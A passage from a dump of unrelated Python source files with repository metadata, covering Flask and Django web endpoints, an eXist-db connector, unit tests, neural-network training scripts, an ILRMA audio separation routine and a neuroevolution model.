(model.challenges.c.id == model.challenge_participants.c.challenge_id) ).correlate(model.challenges)) ).order_by(*order_clause).offset(offset).limit(limit).reduce_columns() challenges = conn.execute(query) result = [] for challenge in challenges.fetchall(): participants = conn.execute(sqlalchemy.sql.select([ model.challenge_participants.c.user_id, model.challenge_participants.c.points, model.users.c.username, model.users.c.oauth_profile_image_key.label("profile_image_key"), ]).select_from(model.challenge_participants.join( model.users, model.challenge_participants.c.user_id == model.users.c.id )).where( model.challenge_participants.c.challenge_id == challenge["id"] )).fetchall() result.append(make_challenge_record(challenge, participants)) return result @web_api.route("/challenge", methods=["GET"]) @util.cross_origin(methods=["GET"]) def list_challenges(): offset, limit = api_util.get_offset_limit() where_clause, order_clause, manual_sort = api_util.get_sort_filter({ "issuer": model.challenges.c.issuer, "created": model.challenges.c.created, "finished": model.challenges.c.finished, "num_games": model.challenges.c.num_games, "winner": model.challenges.c.winner, "status": model.challenges.c.status, "id": model.challenges.c.id, }, ["finished", "participant"]) participant_clause = sqlalchemy.true() for (field, op, val) in manual_sort: if field == "finished": where_clause &= model.challenges.c.status == "finished" elif field == "participant": participant_clause &= op(model.challenge_participants.c.user_id, val) result = list_challenges_helper(offset, limit, participant_clause, where_clause, order_clause) return flask.jsonify(result) @web_api.route("/challenge/<int:challenge_id>", methods=["GET"]) @util.cross_origin(methods=["GET"]) def get_challenge(challenge_id): result = get_challenge_helper(challenge_id) return flask.jsonify(result) @web_api.route("/challenge/<int:challenge_id>/match", methods=["GET"]) @util.cross_origin(methods=["GET"]) def list_challenge_matches(challenge_id): offset, limit = api_util.get_offset_limit() where_clause, order_clause, manual_sort = api_util.get_sort_filter({ "game_id": model.games.c.id, "time_played": model.games.c.time_played, }, ["timed_out"]) participant_clause = sqlalchemy.true() where_clause &= model.games.c.challenge_id == challenge_id for (field, _, _) in manual_sort: if field == "timed_out": participant_clause &= model.game_participants.c.timed_out result = match_api.list_matches_helper( offset, limit, participant_clause, where_clause, order_clause) return flask.jsonify(result)

36.587209

87

0.622755

0

2,079

0.330367

0

741

0.11775

b8155fb4487ab6eefaea72ef47aa753b0a19b9bd

264

py

Python

txtjokes/urls.py

paqman85/txtjokes

d5b9faa1fd3f797c2feee277b8cd428cc05a17ed

[ "MIT" ]

1

2020-12-08T19:00:33.000Z

txtjokes/urls.py

paqman85/txtjokes

d5b9faa1fd3f797c2feee277b8cd428cc05a17ed

[ "MIT" ]

3

2021-03-30T13:47:03.000Z

2021-09-22T19:03:46.000Z

txtjokes/urls.py

paqman85/txtjokes

d5b9faa1fd3f797c2feee277b8cd428cc05a17ed

[ "MIT" ]

1

2020-04-24T14:39:03.000Z

from django.conf import settings from django.contrib import admin from django.urls import path, include urlpatterns = [ path('txt-jokes-administratus/', admin.site.urls), path('accounts/', include('allauth.urls')), path('', include('pages.urls')), ]

24

54

0.704545

0

65

0.246212

b8180b5b5c77d3a1a684f4f02028d017f4b7a210

1,909

py

Python

newsservice/requestnews.py

mohawk781/newsservice

0b7007c632211e35000dfba5e8ff9f23cff9450d

[ "Apache-2.0" ]

null

newsservice/requestnews.py

mohawk781/newsservice

0b7007c632211e35000dfba5e8ff9f23cff9450d

[ "Apache-2.0" ]

1

2021-06-01T23:59:17.000Z

newsservice/requestnews.py

mohawk781/newsservice

0b7007c632211e35000dfba5e8ff9f23cff9450d

[ "Apache-2.0" ]

1

2019-09-06T10:51:08.000Z

import json from newsservice.models import News from flask import (Blueprint, request) bp = Blueprint('request', __name__) @bp.route('/requestnews', methods=['GET', 'POST']) def requestdb(): """ This Method receives filter values as a JSON and uses these to make queries at the database. It creates a List with all entries of the database which match the filters. Then it converts the list to a JSON document. :return: JSON document containing all database entries which matches the filter values. """ data = [] articles = News.query.all() if request.json['id'] != "": articles = [article for article in articles if str(article.id) == request.json['id']] if request.json['tag'] != "": articles = [article for article in articles if article.tag == request.json['tag']] if request.json['author'] != "": articles = [article for article in articles if request.json['author'] in article.author] if request.json['title'] != "": articles = [article for article in articles if request.json['title'] in article.title] if request.json['text'] != "": articles = [article for article in articles if request.json['text'] in article.text] if request.json['facilityid'] != "": articles = [article for article in articles if request.json['facilityid'] in article.facilityid] if request.json['older'] != "": articles = [article for article in articles if article.time <= request.json['older']] if request.json['newer'] != "": articles = [article for article in articles if article.time >= request.json['newer']] for article in articles: data.insert(0, {'id': article.id, 'title': article.title, 'author': article.author, 'time': article.time, 'tag': article.tag, 'text': article.text, 'facilityid': article.facilityid}) return json.dumps(data)

38.959184

133

0.655317

0

1,781

0.932949

0

540

0.282871

b8185170e7135ee17602f233ff3d6eb5d6bbc140

943

py

Python

tests/test_lexer.py

movermeyer/rexlex

6c451a3b7e9134cbdf895a7ec5682e480480ef1a

[ "BSD-3-Clause" ]

null

tests/test_lexer.py

movermeyer/rexlex

6c451a3b7e9134cbdf895a7ec5682e480480ef1a

[ "BSD-3-Clause" ]

null

tests/test_lexer.py

movermeyer/rexlex

6c451a3b7e9134cbdf895a7ec5682e480480ef1a

[ "BSD-3-Clause" ]

1

2018-03-05T00:40:04.000Z

import re import unittest from rexlex import Lexer from rexlex.lexer.itemclass import get_itemclass class TestableLexer(Lexer): """Test tuple state transitions including #pop.""" LOGLEVEL = None re_skip = re.compile('\s+') tokendefs = { 'root': [ ('Root', 'a', 'bar'), ('Root', 'e'), ], 'foo': [ ('Foo', 'd'), ], 'bar': [ ('Bar', 'b', 'bar'), ('Bar', 'c', 'foo'), ], } class TupleTransTest(unittest.TestCase): text = 'abcde' Item = get_itemclass(text) expected = [ Item(start=0, end=1, token='Root'), Item(start=1, end=2, token='Bar'), Item(start=2, end=3, token='Bar'), Item(start=3, end=4, token='Foo'), Item(start=4, end=5, token='Root')] def test(self): toks = list(TestableLexer(self.text)) self.assertEqual(toks, self.expected)

21.930233

54

0.510074

836

0.886532

0

162

0.171792

b8187e4887ed852a5b867debdeeccee5408895fe

7,134

py

Python

Engine/src/tests/algorithms/neuralnetwork/convolutional/conv_net_test.py

xapharius/HadoopML

c0129f298007ca89b538eb1a3800f991141ba361

[ "MIT" ]

2

2018-02-05T12:41:31.000Z

2018-11-23T04:13:13.000Z

Engine/src/tests/algorithms/neuralnetwork/convolutional/conv_net_test.py

xapharius/HadoopML

c0129f298007ca89b538eb1a3800f991141ba361

[ "MIT" ]

null

Engine/src/tests/algorithms/neuralnetwork/convolutional/conv_net_test.py

xapharius/HadoopML

c0129f298007ca89b538eb1a3800f991141ba361

[ "MIT" ]

null

import unittest import numpy as np import utils.imageutils as imgutils import utils.numpyutils as nputils from algorithms.neuralnetwork.convolutional.conv_net import ConvNet from datahandler.numerical.NumericalDataSet import NumericalDataSet import utils.serialization as srlztn def gen_vertical_bars(num): bars = [] for _ in range(num): x, y = np.random.randint(low=0, high=15, size=2) length = np.random.randint(low=4, high=13) bar = np.zeros((16, 16)) bar[y:y+length, x:x+2] = 1 bars.append(bar) return bars def gen_horizontal_bars(num): bars = [] for _ in range(num): x, y = np.random.randint(low=0, high=15, size=2) length = np.random.randint(low=4, high=13) bar = np.zeros((16, 16)) bar[y:y+2, x:x+length] = 1 bars.append(bar) return bars class Test(unittest.TestCase): def test_bars(self): # 16x16 images with bars that are 2 pixel thick train_verticals = gen_vertical_bars(50) train_horizontals = gen_horizontal_bars(50) test_verticals = gen_vertical_bars(50) test_horizontals = gen_horizontal_bars(50) inputs = np.array(train_verticals + train_horizontals) targets = np.array([[1, 0] for _ in train_verticals] + [[0, 1] for _ in train_horizontals]) data_set = NumericalDataSet(inputs, targets) test_inputs = np.array(test_verticals + test_horizontals) test_targets = np.array([[1, 0] for _ in test_verticals] + [[0, 1] for _ in test_horizontals]) test_data_set = NumericalDataSet(test_inputs, test_targets) # 16x16 -> C(3): 14x14 -> P(2): 7x7 -> C(3): 5x5 -> P(5): 1x1 net_topo = [('c', 3, 6), ('p', 2), ('c', 3, 8), ('p', 5), ('mlp', 8, 8, 2)] net = ConvNet(iterations=50, learning_rate=0.001, topo=net_topo) net.train(data_set) preds = net.predict(test_data_set) conf_mat = nputils.create_confidence_matrix(preds, test_targets, 2) print "Error rate: " + str(100 - (np.sum(conf_mat.diagonal()) / np.sum(conf_mat[:, :]) * 100)) + "%" def test_mnist_digits(self): digits, labels = imgutils.load_mnist_digits('../../data/mnist-digits/train-images.idx3-ubyte', '../../data/mnist-digits/train-labels.idx1-ubyte', 300) targets = np.array([ nputils.vec_with_one(10, digit) for digit in labels ]) train_data_set = NumericalDataSet(np.array(digits)[:150], targets[:150]) test_data_set = NumericalDataSet(np.array(digits)[150:], targets[150:]) # 28x28 -> C(5): 24x24 -> P(2): 12x12 -> C(5): 8x8 -> P(2): 4x4 -> C(4): 1x1 net_topo = [('c', 5, 8), ('p', 2), ('c', 5, 16), ('p', 2), ('c', 4, 16), ('mlp', 16, 16, 10)] net = ConvNet(iterations=30, learning_rate=0.01, topo=net_topo, activation_func=(nputils.rectifier, nputils.rectifier_deriv)) net.train(train_data_set) try: srlztn.save_object('../../trained/mnist_digits.cnn', net) except: print("serialization error") preds = net.predict(test_data_set) conf_mat = nputils.create_confidence_matrix(preds, targets[150:], 10) print conf_mat num_correct = np.sum(conf_mat.diagonal()) num_all = np.sum(conf_mat[:, :]) print "Error rate: " + str(100 - (num_correct / num_all * 100)) + "% (" + str(int(num_correct)) + "/" + str(int(num_all)) + ")" def test_face_recognition(self): faces = imgutils.load_images('/home/simon/trainingdata/faces/', max_num=100) non_faces = imgutils.load_images('/home/simon/trainingdata/nonfaces/', max_num=100) faces_training = faces[0:50] faces_testing = faces[50:] non_faces_training = non_faces[0:50] non_faces_testing = non_faces[50:] inputs_training = np.array(faces_training + non_faces_training) targets_training = np.array([ [1, 0] for _ in range(len(faces_training))] + [ [0, 1] for _ in range(len(non_faces_training))]) data_set_training = NumericalDataSet(inputs_training, targets_training) inputs_testing = np.array(faces_testing + non_faces_testing) targets_testing = np.array([ [1, 0] for _ in range(len(faces_testing))] + [ [0, 1] for _ in range(len(non_faces_testing))]) data_set_testing = NumericalDataSet(inputs_testing, targets_testing) # 24x24 -> C(5): 20x20 -> P(2): 10x10 -> C(3): 8x8 -> P(2): 4x4 -> C(3): 2x2 -> p(2): 1x1 net_topo = [('c', 5, 8), ('p', 2), ('c', 3, 16), ('p', 2), ('c', 3, 24), ('p', 2), ('mlp', 24, 24, 2)] net = ConvNet(iterations=30, learning_rate=0.01, topo=net_topo) net.train(data_set_training) preds = net.predict(data_set_testing) conf_mat = nputils.create_confidence_matrix(preds, targets_testing, 2) num_correct = np.sum(conf_mat.diagonal()) num_all = np.sum(conf_mat[:, :]) print "Error rate: " + str(100 - (num_correct / num_all * 100)) + "% (" + str(int(num_correct)) + "/" + str(int(num_all)) + ")" # fig = plt.figure(1) # plt.set_cmap('gray') # num_rows = 6x-img.shape[0] # num_cols = 4 # fig.add_subplot(num_rows, num_cols, 1) # plt.imshow(faces[0]) # for fm_idx in range(4): # fig.add_subplot(num_rows, num_cols, num_cols*1 + fm_idx + 1) # plt.imshow(convolved1[fm_idx, :, :]) # fig.add_subplot(num_rows, num_cols, num_cols*2 + fm_idx + 1) # plt.imshow(pooled1[fm_idx, :, :]) # fig.add_subplot(num_rows, num_cols, num_cols*3 + fm_idx + 1) # plt.imshow(convolved2[fm_idx, :, :]) # fig.add_subplot(num_rows, num_cols, num_cols*4 + fm_idx + 1) # plt.imshow(np.array([[pooled2[0, fm_idx]]]), vmin=0, vmax=1) # fig.add_subplot(num_rows, num_cols, 21) # plt.imshow(np.array([[mlp_out[2][0, 0]]]), vmin=0, vmax=1) # fig.add_subplot(num_rows, num_cols, 22) # plt.imshow(np.array([[mlp_out[2][0, 1]]]), vmin=0, vmax=1) # # plt.show() def test_smoke(self): smoke_imgs_training = imgutils.load_images('/home/simon/smoke/training/smoke/', max_num=100) non_smoke_imgs_training = imgutils.load_images('/home/simon/smoke/training/non-smoke/', max_num=100) inputs_training = np.array(smoke_imgs_training + non_smoke_imgs_training) targets_training = np.array([ [1, 0] for _ in range(len(smoke_imgs_training))] + [ [0, 1] for _ in range(len(non_smoke_imgs_training))]) data_set_training = NumericalDataSet(inputs_training, targets_training) # 100x100 -> C(5): 96x96 -> P(2): 48x48 -> C(5): 44x44 -> P(2): 22x22 -> C(3): 20x20 -> P(2): 10x10 -> C(3): 8x8 -> P(2) 4x4 -> C(3): 2x2 -> P(2): 1x1 net_topo = [('c', 5, 8), ('p', 2), ('c', 5, 16), ('p', 2), ('c', 3, 24), ('p', 2), ('c', 3, 24), ('p', 2), ('c', 3, 24), ('p', 2), ('mlp', 24, 24, 2)] net = ConvNet(iterations=30, learning_rate=0.01, topo=net_topo) net.train(data_set_training) if __name__ == "__main__": #import sys;sys.argv = ['', 'Test.testName'] unittest.main()

49.2

158

0.610457

6,182

0.866555

0

1,773

0.248528

b819490a0e749fdb6fa33717dab9405f34226e11

2,747

py

Python

docker/eXist-seed/app/connector.py

ThomasTos/Pogues-Back-Office

b346d94407bf36e37d705b1d220ab0775a120574

[ "MIT" ]

null

docker/eXist-seed/app/connector.py

ThomasTos/Pogues-Back-Office

b346d94407bf36e37d705b1d220ab0775a120574

[ "MIT" ]

23

2017-08-25T16:48:57.000Z

2022-02-16T00:55:42.000Z

docker/eXist-seed/app/connector.py

ThomasTos/Pogues-Back-Office

b346d94407bf36e37d705b1d220ab0775a120574

[ "MIT" ]

13

2017-07-03T09:15:36.000Z

2021-07-02T07:43:10.000Z

import requests from requests.auth import HTTPBasicAuth import sys import os from string import rfind import base64 class XdbException(Exception): '''Exist db connector exception''' class Connector: def __init__(self, url, user, password): self.url = url self.auth = HTTPBasicAuth(user, password) ''' Create collection ''' def create(self, root, collection): print "creating collection %s in %s ..." % (collection, root) params = { '_query': 'xmldb:create-collection("%s","%s")'% (root, collection) } response = requests.get('%s/exist/rest/db'% (self.url), auth=self.auth, params=params) if 200 != response.status_code: raise XdbException return '%s/%s'%(root, collection) ''' chmod resource Apply given permission on eXist-db resource, ''' def chmod(self, resource, permissions): print "setting permissions %s on %s "% (permissions, resource) params = { '_query': 'sm:chmod(xs:anyURI("%s"), "%s")'% (resource, permissions) } response = requests.get('%s/exist/rest/db'% (self.url), auth=self.auth, params=params) if 200 != response.status_code: raise XdbException ''' Put document to collection Collection will be created if it does not exist ''' def upload(self, fsPath, collection): print "storing from fs path %s to collection /%s ..." % (fsPath, collection) _, doc = os.path.split(fsPath) __, extension = os.path.splitext(doc) print 'extension, doc', extension, doc f = open(fsPath, 'r') xqm= f.read() f.close() content_types = { '.xqm': 'application/xquery', '.xq': 'application/xquery', '.xpl': 'application/xml', '.xquery': 'application/xquery', '.xml': 'application/xml', '.xconf': 'application/xml', '.xhtml': 'application/xml', '.xsl': 'application/xml' } headers = { 'Content-Type': content_types[extension] } response = requests.put('%s/exist/rest/% s/%s'% (self.url, collection, doc), auth=self.auth, headers=headers, data=xqm) if 201 != response.status_code: print str(response) raise XdbException return '%s/%s' % (collection, doc) ''' Execute a stored Xquery remotely ''' def execute(self, document): headers = { 'Content-Type': 'application/xquery' } response = requests.get('%s/exist/rest/%s'% (self.url, document), auth=self.auth, headers=headers) if 200 != response.status_code: raise XdbException return response

32.702381

127

0.581361

2,628

0.95668

0

844

0.307244

b81a09ef1cba709f702bd49fe66d6f2697a395a3

5,736

py

Python

handy/2011722086_Assign3/main_app.py

HDNua/kwin

33ce866c2b37faa1a5940354a0e5b3919e5eecc8

[ "MIT" ]

2

2017-11-01T12:46:06.000Z

2017-12-02T04:01:25.000Z

handy/2011722086_Assign3/main_app.py

HDNua/kwin

33ce866c2b37faa1a5940354a0e5b3919e5eecc8

[ "MIT" ]

null

handy/2011722086_Assign3/main_app.py

HDNua/kwin

33ce866c2b37faa1a5940354a0e5b3919e5eecc8

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Tue May 30 16:43:10 2017 ☜☜☜☜☜☜★☆★☆★☆★☆ provided code ★☆★☆★☆★☆☞☞☞☞☞☞ @author: Minsooyeo """ import os import matplotlib.image as mpimg import matplotlib.pyplot as plt from PIL import Image as im import numpy as np import utills as ut import tensorflow as tf sess = tf.InteractiveSession() train_epoch = 5000 # FLAG_FINGER = 0 FLAG_FACE = 1 FLAG_ANGLE = 2 flag = FLAG_ANGLE # if flag is FLAG_FINGER: class_num = 5 additional_path = '\\finger\\' elif flag is FLAG_FACE: class_num = 6 additional_path = '\\face\\' elif flag is FLAG_ANGLE: class_num = 4 additional_path = '\\angle\\' else: raise Exception("Unknown flag %d" %flag) # define parameter data_length = [] dir_image = [] data = [] label = [] data_shape = [298, 298] current_pwd = os.getcwd() for i in range(class_num): dir_image.append(ut.search(current_pwd + additional_path + str(i + 1))) data_length.append(len(dir_image[i])) data.append(np.zeros([data_length[i], data_shape[1], data_shape[0]])) label.append(np.zeros([data_length[i], class_num])) label[i][:, i] = 1 # load data for q in range(class_num): for i in range(data_length[q]): if i % 100 == 0: print("%dth data is opening" %i) data[q][i, :, :] = np.mean(im.open(current_pwd + additional_path + str(q + 1) + '\\' + dir_image[q][i]), -1) if flag is FLAG_FINGER: rawdata = np.concatenate((data[0], data[1], data[2], data[3], data[4]), axis=0) raw_label = np.concatenate((label[0], label[1], label[2], label[3], label[4]), axis=0) elif flag is FLAG_FACE: rawdata = np.concatenate((data[0], data[1], data[2], data[3], data[4], data[5]), axis=0) raw_label = np.concatenate((label[0], label[1], label[2], label[3], label[4], label[5]), axis=0) elif flag is FLAG_ANGLE: rawdata = np.concatenate((data[0], data[1], data[2], data[3]), axis=0) raw_label = np.concatenate((label[0], label[1], label[2], label[3]), axis=0) else: raise Exception("Unknown class number %d" %class_num) del data del label total_data_poin = rawdata.shape[0] permutation = np.random.permutation(total_data_poin) rawdata = rawdata[permutation, :, :] raw_label = raw_label[permutation, :] rawdata = np.reshape(rawdata, [rawdata.shape[0], data_shape[0] * data_shape[1]]) ######################################################################################################## # img_width = data_shape[0] img_height = data_shape[1] if flag is FLAG_FINGER: train_count = 5000 # 손가락 인식을 테스트하려는 경우 이 부분을 수정하십시오. (2000 또는 5000으로 테스트함) test_count = 490 elif flag is FLAG_FACE: train_count = 2000 # train data 수가 5000개가 안 돼서 또는 overfitting에 의해 NaN 문제가 발생합니다. 값을 바꾸지 마십시오! test_count = 490 elif flag is FLAG_ANGLE: train_count = 6000 # train data 수가 5000개가 안 돼서 또는 overfitting에 의해 NaN 문제가 발생합니다. 값을 바꾸지 마십시오! test_count = 1000 else: raise Exception("unknown flag %d" %flag) # train_epoch = train_count # TrainX = rawdata[:train_count] # mnist.train.images TrainY = raw_label[:train_count] # mnist.train.labels testX = rawdata[train_count:train_count+test_count] # mnist.test.images testY = raw_label[train_count:train_count+test_count] # mnist.test.labels # 손가락 구분을 테스트하기 위해 층의 수를 바꾸는 경우 else 부분을 수정하십시오. if flag is FLAG_FINGER: # 손가락 구분의 경우 층에 따라 경우를 테스트하려면 이 부분을 수정하십시오. CNNModel, x = ut._CNNModel(img_width=img_width, img_height=img_height, kernel_info=[ [3, 2, 32, True], [3, 2, 64, True], [3, 2, 128, True], [3, 2, 64, True], [3, 2, 128, True], # [3, 2, 128, True], ]) elif flag is FLAG_FACE: # 얼굴 인식의 경우 2개의 층만으로도 구분이 완전히 잘 됩니다. 층의 수를 수정하지 마십시오. CNNModel, x = ut._CNNModel(img_width=img_width, img_height=img_height, kernel_info=[ [3, 2, 32, True], [3, 2, 64, True], # [3, 2, 128, True], # [3, 2, 64, True], # [3, 2, 128, True], # [3, 2, 128, True], ]) elif flag is FLAG_ANGLE: # CNNModel, x = ut._CNNModel(img_width=img_width, img_height=img_height, kernel_info=[ [1, 1, 32, True], # [1, 1, 64, True], # [1, 1, 128, True], # [1, 1, 64, True], # [1, 1, 128, True], # [3, 2, 128, True], ]) else: raise Exception("Unknown flag %d" %flag) FlatModel = ut._FlatModel(CNNModel, fc_outlayer_count=128) DropOut, keep_prob = ut._DropOut(FlatModel) SoftMaxModel = ut._SoftMax(DropOut, label_count=class_num, fc_outlayer_count=128) TrainStep, Accuracy, y_, correct_prediction = ut._SetAccuracy(SoftMaxModel, label_count=class_num) sess.run(tf.global_variables_initializer()) for i in range(train_epoch): tmp_trainX, tmp_trainY = ut.Nextbatch(TrainX, TrainY, 50) if i%100 == 0: train_accuracy = Accuracy.eval(feed_dict={x: tmp_trainX, y_: tmp_trainY, keep_prob: 1.0}) print("step %d, training accuracy %g"%(i, train_accuracy)) TrainStep.run(feed_dict={x: tmp_trainX, y_: tmp_trainY, keep_prob: 0.7}) print("test accuracy %g" %Accuracy.eval(feed_dict={x: testX[1:1000, :], y_: testY[1:1000], keep_prob: 1.0}))

36.303797

116

0.566597

0

1,506

0.244163

b81de3e83d88be8e9727e5be630e392a0dd09037

3,176

py

Python

ilrma.py

annie-gu/MVAE

252b052d69eae9a0b47f4058baf0fe565992f12f

[ "MIT" ]

1

2022-01-08T03:31:31.000Z

ilrma.py

annie-gu/MVAE

252b052d69eae9a0b47f4058baf0fe565992f12f

[ "MIT" ]

null

ilrma.py

annie-gu/MVAE

252b052d69eae9a0b47f4058baf0fe565992f12f

[ "MIT" ]

2

2020-06-21T12:55:53.000Z

2020-11-16T00:56:36.000Z

import numpy as np from common import projection_back EPS = 1e-9 def ilrma(mix, n_iter, n_basis=2, proj_back=True): """Implementation of ILRMA (Independent Low-Rank Matrix Analysis). This algorithm is called ILRMA1 in http://d-kitamura.net/pdf/misc/AlgorithmsForIndependentLowRankMatrixAnalysis.pdf It only works in determined case (n_sources == n_channels). Args: mix (numpy.ndarray): (n_frequencies, n_channels, n_frames) STFT representation of the observed signal. n_iter (int): Number of iterations. n_basis (int): Number of basis in the NMF model. proj_back (bool): If use back-projection technique. Returns: tuple[numpy.ndarray, numpy.ndarray]: Tuple of separated signal and separation matrix. The shapes of separated signal and separation matrix are (n_frequencies, n_sources, n_frames) and (n_sources, n_channels), respectively. """ n_freq, n_src, n_frame = mix.shape sep_mat = np.stack([np.eye(n_src, dtype=mix.dtype) for _ in range(n_freq)]) basis = np.abs(np.random.randn(n_src, n_freq, n_basis)) act = np.abs(np.random.randn(n_src, n_basis, n_frame)) sep = sep_mat @ mix sep_pow = np.power(np.abs(sep), 2) # (n_freq, n_src, n_frame) model = basis @ act # (n_src, n_freq, n_frame) m_reci = 1 / model eye = np.tile(np.eye(n_src), (n_freq, 1, 1)) for _ in range(n_iter): for src in range(n_src): h = (sep_pow[:, src, :] * m_reci[src]**2) @ act[src].T h /= m_reci[src] @ act[src].T h = np.sqrt(h, out=h) basis[src] *= h np.clip(basis[src], a_min=EPS, a_max=None, out=basis[src]) model[src] = basis[src] @ act[src] m_reci[src] = 1 / model[src] h = basis[src].T @ (sep_pow[:, src, :] * m_reci[src]**2) h /= basis[src].T @ m_reci[src] h = np.sqrt(h, out=h) act[src] *= h np.clip(act[src], a_min=EPS, a_max=None, out=act[src]) model[src] = basis[src] @ act[src] m_reci[src] = 1 / model[src] h = m_reci[src, :, :, None] @ np.ones((1, n_src)) h = mix.conj() @ (mix.swapaxes(1, 2) * h) u_mat = h.swapaxes(1, 2) / n_frame h = sep_mat @ u_mat + EPS * eye sep_mat[:, src, :] = np.linalg.solve(h, eye[:, :, src]).conj() h = sep_mat[:, src, None, :] @ u_mat h = (h @ sep_mat[:, src, :, None].conj()).squeeze(2) sep_mat[:, src, :] = (sep_mat[:, src, :] / np.sqrt(h).conj()) np.matmul(sep_mat, mix, out=sep) np.power(np.abs(sep), 2, out=sep_pow) np.clip(sep_pow, a_min=EPS, a_max=None, out=sep_pow) for src in range(n_src): lbd = np.sqrt(np.sum(sep_pow[:, src, :]) / n_freq / n_frame) sep_mat[:, src, :] /= lbd sep_pow[:, src, :] /= lbd ** 2 model[src] /= lbd ** 2 basis[src] /= lbd ** 2 # Back-projection technique if proj_back: z = projection_back(sep, mix[:, 0, :]) sep *= np.conj(z[:, :, None]) return sep, sep_mat

37.809524

119

0.55699

0

913

0.287469

b81ecc580a437a3d551ab5dfa4a59c26d6b5e052

367

py

Python

tests/routes/test_pages.py

Biosystems-Analytics-Lab/shellcast

8d578bfa3d66d75502f1a133fe6263d376694247

[ "CC-BY-4.0" ]

5

2021-03-24T19:19:48.000Z

2022-01-11T09:27:13.000Z

tests/routes/test_pages.py

Biosystems-Analytics-Lab/shellcast

8d578bfa3d66d75502f1a133fe6263d376694247

[ "CC-BY-4.0" ]

1

2022-01-13T15:11:09.000Z

2022-01-13T21:16:10.000Z

tests/routes/test_pages.py

Biosystems-Analytics-Lab/shellcast

8d578bfa3d66d75502f1a133fe6263d376694247

[ "CC-BY-4.0" ]

null

import pytest def test_index(client): res = client.get('/') assert res.status_code == 200 def test_about(client): res = client.get('/about') assert res.status_code == 200 def test_preferences(client): res = client.get('/preferences') assert res.status_code == 200 def test_signin(client): res = client.get('/signin') assert res.status_code == 200

20.388889

34

0.700272

0

34

0.092643

b81fcb30f8bd89568af442548e95ceeba2331cfd

412

py

Python

Task -01/loop.py

kanzul12/cp19_voice_detector

db5478b118bab46897b4230d366e11b9ad65e0ce

[ "MIT" ]

2

2019-04-19T08:26:09.000Z

2019-04-30T12:52:58.000Z

Task -01/loop.py

kanzul12/cp19_voice_detector

db5478b118bab46897b4230d366e11b9ad65e0ce

[ "MIT" ]

5

2019-05-03T07:47:35.000Z

2019-05-13T08:37:11.000Z

Task -01/loop.py

kanzul12/cp19_voice_detector

db5478b118bab46897b4230d366e11b9ad65e0ce

[ "MIT" ]

null

num= int (input("enter number of rows=")) for i in range (1,num+1): for j in range(1,num-i+1): print (" ",end="") for j in range(2 and 9): print("2","9") for i in range(1, 6): for j in range(1, 10): if i==5 or i+j==5 or j-i==4: print("*", end="") else: print(end=" ") print()

16.48

44

0.383495

0

42

0.101942

6293f58cd98657d8f6c935c1d17ddd8632667efa

4,819

py

Python

examples/racing/models/HyperNN.py

Chris-Carvelli/DeepNeuroevolution

72e11fd08273ee1b25c346abd90b76a5975c39db

[ "MIT" ]

null

examples/racing/models/HyperNN.py

Chris-Carvelli/DeepNeuroevolution

72e11fd08273ee1b25c346abd90b76a5975c39db

[ "MIT" ]

null

examples/racing/models/HyperNN.py

Chris-Carvelli/DeepNeuroevolution

72e11fd08273ee1b25c346abd90b76a5975c39db

[ "MIT" ]

1

2021-05-14T15:08:15.000Z

import random import math from functools import reduce import torch import torch.nn as nn def random_z_v(z_dim, z_num): # ret = np.random.normal(0.01, 1.0, z_dim * z_num) return torch.distributions.normal.Normal(torch.zeros([z_num, z_dim]), 0.1).sample() class HyperNN(nn.Module): def __init__(self, obs_space, action_space, pnn, tiling=64, shrink=1): super().__init__() self._tiling = tiling self.z_dim = int(32 * shrink) self.z_v_evolve_prob = 0.5 self.pnn = pnn(obs_space, action_space) self.pnn_modules = list(dict(self.pnn.named_children()).keys()) self.out_features = self._get_out_features() self.z_num, self.z_indexer = self._get_z_num() in_size = int(128 * shrink) self.hnn = nn.Sequential( nn.Linear(self.z_dim, in_size), nn.ReLU(), nn.Linear(in_size, in_size), nn.ReLU(), nn.Linear(in_size, self.out_features), ) self.register_buffer('z_v', random_z_v(self.z_dim, self.z_num)) self.add_tensors = {} self._init_nn() def forward(self, layer_index=None): if layer_index is None: return [self.hnn(x) for x in self.z_v] else: if isinstance(layer_index, int): module_name = self.pnn_modules[layer_index] else: module_name = layer_index z_shard = self.z_indexer[module_name] return [self.hnn(x) for x in self.z_v[z_shard]] def evolve(self, sigma): coin_toss = random.random() if coin_toss > self.z_v_evolve_prob: # evolve z vector module_idx = math.floor(random.random() * len(self.pnn_modules)) module_name = self.pnn_modules[module_idx] for name in self.z_indexer: if module_name in name: z_shard = self.z_indexer[name] self.z_v[z_shard] += torch.distributions.normal.Normal( torch.zeros([z_shard.stop - z_shard.start, self.z_dim]), sigma ).sample() self._update_pnn() else: # evolve weights params = self.named_parameters() for name, tensor in sorted(params): if 'z_v' not in name: to_add = self.add_tensors[tensor.size()] to_add.normal_(0.0, sigma) tensor.data.add_(to_add) self._update_pnn() def evaluate(self, env, max_eval, render=False, fps=60): return self.pnn.evaluate(env, max_eval, render, fps) def _init_nn(self): for name, tensor in self.named_parameters(): if tensor.size() not in self.add_tensors: self.add_tensors[tensor.size()] = torch.Tensor(tensor.size()) if 'weight' in name: nn.init.kaiming_normal_(tensor) elif 'z_v' not in name: tensor.data.zero_() self._update_pnn() # tiling not supported (but it should be a bit faster, performance gain unclear) def _update_pnn(self): weights = self() if self._tiling: for name, param in self.pnn.named_parameters(): z_shard = self.z_indexer[name] param.data = self._shape_w(weights[z_shard], param.shape).data else: i = 0 for name, param in self.pnn.named_parameters(): param.data = self._shape_w(weights[i], param.shape).data i += 1 def _shape_w(self, w, layer_shape): if isinstance(w, list): w = torch.cat(w) w = torch.Tensor(w) w = torch.narrow(w, 0, 0, reduce((lambda x, y: x * y), layer_shape)) w = w.view(layer_shape) return w def _get_z_num(self): z_num = 0 z_indexer = {} # tiling for name, param in self.pnn.named_parameters(): if self._tiling is not None: layer_shape = param.shape layer_size = reduce((lambda x, y: x * y), layer_shape, 1) z_shard = math.ceil(layer_size / self.out_features) z_indexer[name] = slice(z_num, z_num + z_shard, 1) z_num += z_shard else: z_num += 1 return z_num, z_indexer def _get_out_features(self): if self._tiling is not None: return self._tiling ret = 0 for name, param in self.pnn.named_parameters(): if 'weight' in name: layer_shape = param.shape layer_size = reduce((lambda x, y: x * y), layer_shape) if layer_size > ret: ret = layer_size return ret

32.782313

87

0.552812

4,550

0.944179

0

202

0.041917

62961303726bbf57667dd5ce6020b5b0a4afb7e5

8,351

py

Python

O.py

duongnguyenkt11/data-realtime

9d8f6c8e0f6a766c058d0696669543dbafaff63c

[ "MIT" ]

null

O.py

duongnguyenkt11/data-realtime

9d8f6c8e0f6a766c058d0696669543dbafaff63c

